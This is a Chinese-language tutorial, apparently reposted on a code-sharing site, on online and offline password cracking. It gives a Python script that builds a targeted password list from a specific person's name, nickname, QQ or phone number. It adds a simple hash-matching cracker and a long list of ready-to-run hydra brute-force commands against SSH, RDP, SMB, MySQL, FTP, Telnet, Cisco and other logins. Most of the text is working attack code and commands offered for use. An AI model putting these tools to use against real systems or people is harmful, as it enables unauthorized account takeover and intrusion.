Python 在線與離線密碼破解


專屬字典生成

首先需要編寫一個密碼生成工具,這里我們使用弱密碼與個性化數組組合形成一個定制字典,例如收集用戶的姓名,昵稱,QQ號手機號等資源,然后通過Python對搜集到的數據與弱密碼進行結合,從而定制出屬於某個人的專屬密碼集,從而提高破解的成功率,這里收集了一些弱密碼,作為模板使用: https://www.blib.cn/sh/template.log 生成字典的Python代碼如下.

import os,sys
from random import randint,sample
from optparse import OptionParser

def Open_File(file):
    with open(file,"r",encoding="utf-8") as fp:
        for item in fp.readlines():
            data = "".join(item.split("\n"))
            yield data

def OrderDict(template,outfile,world,flag):
    Count = 0
    fp = open(outfile,"a+",encoding="utf-8")
    if len(flag) <= 0:
        for item in Open_File(template):
            for w in world:
                fp.write(w + item + "\n")
                fp.write(item + w + "\n")
                Count = Count + 2
    else:
        for item in Open_File(template):
            for w in world:
                for f in flag:
                    fp.write(item + w + f + "\n")
                    fp.write(item + f + w + "\n")
                    fp.write(w + item + f + "\n")
                    fp.write(w + f + item + "\n")
                    fp.write(f + item + w + "\n")
                    fp.write(f + w + item + "\n")
                    Count = Count + 6
    fp.close()
    print("[+] 總共生成弱密碼條數: {}".format(Count))

def RandomDict(outfile,world,flag):
    Count = 0
    fp = open(outfile,"a+",encoding="utf-8")
    if len(flag) <= 0:
        for item in range(1,1000):
            random = sample(world, 2)
            fp.write(random[0]+random[1] + "\n")
            Count = Count + 1
    else:
        for item in range(1,1000):
            random = sample(world, 2)
            for f in flag:
                fp.write(random[0] + random[1] + f + "\n")
                fp.write(f + random[0] + random[1] + "\n")
                fp.write(random[0] + f + random[1] + "\n")
                Count = Count + 3
    fp.close()
    print("[+] 總共生成隨機密碼條數: {}".format(Count))

if __name__== "__main__":
    parser = OptionParser()
    parser.add_option("-t","--template",dest="template",help="指定一個基礎模板字典.")
    parser.add_option("-k","--keyword",dest="keyword",help="指定一些關鍵字,用逗號分隔.")
    parser.add_option("-s","--symbol",dest="symbol",help="指定一些特殊符號,用逗號分隔.")
    parser.add_option("-o","--outfile",dest="outfile",help="指定輸出字典的名字.")
    (options,args) = parser.parse_args()
    if options.template and options.keyword and options.outfile:
        world = [item for item in options.keyword.split(",")]
        if options.symbol == None:
            flag = []
            OrderDict(options.template,options.outfile,world,flag)
        else:
            flag = [item for item in options.symbol.split(",")]
            OrderDict(options.template,options.outfile,world,flag)
    else:
        parser.print_help()

如上代碼的使用方式 -t 指定模板字典,-k 指定關鍵字序列,以逗號分隔開,-s 指定一些特殊符號可以不寫,-o 指定輸出后的文件名。

不指定特殊符號:main.py -t template.log -k lyshark,wang,abc,zhangsan -o pass.log
指定特殊符號:main.py -t template.log -k lyshark,wang,19981211 -s !,@,#,$ -o pass.log


離線密碼破解Python版

通過hash加密后的密碼,理論上是無法通過數學算法恢復的,但是我們可以換一種思路,通過一個明文字典,依次將明文字典加密后與獲取到的hash密碼進行碰撞,只要一致則說明密碼找到了,代碼片段如下,自行加上多線程即可,但是多數情況下我們會去 https://www.cmd5.com/ 網站上直接查詢,並不會窮舉。

import os,sys,hashlib

# -d worldkey.log -t 10 -H ec1452657485962
def HashCrack(hash_type,hash_key,hash_passwd):
    if hash_type == "md5":
        hash = hashlib.md5()
    if hash_type == "sha256":
        hash = hashlib.sha256()
    if hash_type == "sha384":
        hash = hashlib.sha384()
    if hash_type == "sha512":
        hash = hashlib.sha512()
    hash.update(bytes(hash_passwd,encoding="utf-8"))
    if str(hash.hexdigest()) == hash_key:
        return hash_passwd
    else:
        return 0

a = HashCrack("md5","e10adc3949ba59abbe56e057f20f883e","1234")
print(a)

hydra 密碼破解工具

Hydra(九頭蛇海德拉)是希臘神話之中的一個怪獸,以九個頭聞名於世,在Kali中hydray(hai der rua) 是默認被安裝的,該工具是密碼破解的老司機,可以破解各種登錄密碼,非常怪獸,但是其穩定性不是很好,原始項目地址: https://github.com/vanhauser-thc/thc-hydra 其Windows實現版: https://github.com/maaaaz/thc-hydra-windows 除了hydra外,還有一個medusa 原理都差不多,但是medusa支持的協議要少於hydra 但是穩定性略高。

其支持的破解類型包括,一下這么多幾乎當前協議通吃,很怪獸。

Supported services: adam6500 asterisk cisco cisco-enable cvs ftp[s] http[s]-{head|get|post} 
http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] 
ldap3[-{cram|digest}md5][s] mssql mysql nntp oracle-listener oracle-sid 
pcanywhere pcnfs pop3[s] postgres redis rexec rlogin rpcap rsh rtsp 
s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey teamspeak 
telnet[s] vmauthd vnc xmpp

Linux 密碼破解 hydra -l root -P template.lst -t 10 192.168.1.20 ssh

目標主機日志將會留下大量登錄請求

破解成功會提示用戶名密碼

其他破解使用方式

遠程桌面暴力破解
hydra -L /data/dic/user.dic -P /data/dic/password.dic -t 1 192.168.2.57 rdp
hydra -l administrator -P pass.lst smb://1.1.1.1/admin$ -vVd

破解https:
hydra -m /index.php -l username -P pass.txt IP https

破解teamspeak:
hydra -l 用戶名 -P 密碼字典 -s 端口號 -vV ip teamspeak

破解cisco:
hydra -P pass.txt IP cisco
hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable

破解smb:
hydra -l administrator -P pass.txt IP smb

破解pop3:
hydra -l muts -P pass.txt my.pop3.mail pop3

破解rdp:
hydra IP rdp -l administrator -P pass.txt -V

破解http-proxy:
hydra -l admin -P pass.txt http-proxy://10.36.16.18

破解telnet
hydra IP telnet -l 用戶 -P 密碼字典 -t 32 -s 23 -e ns -f -V

破解ftp:
hydra IP ftp -l 用戶名 -P 密碼字典 -t 線程(默認16) -vV
hydra IP ftp -l 用戶名 -P 密碼字典 -e ns -vV

mysql暴力破解
hydra -L /data/dic/user.dic -P /data/dic/password.dic -t 5 192.168.2.235 mysql


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM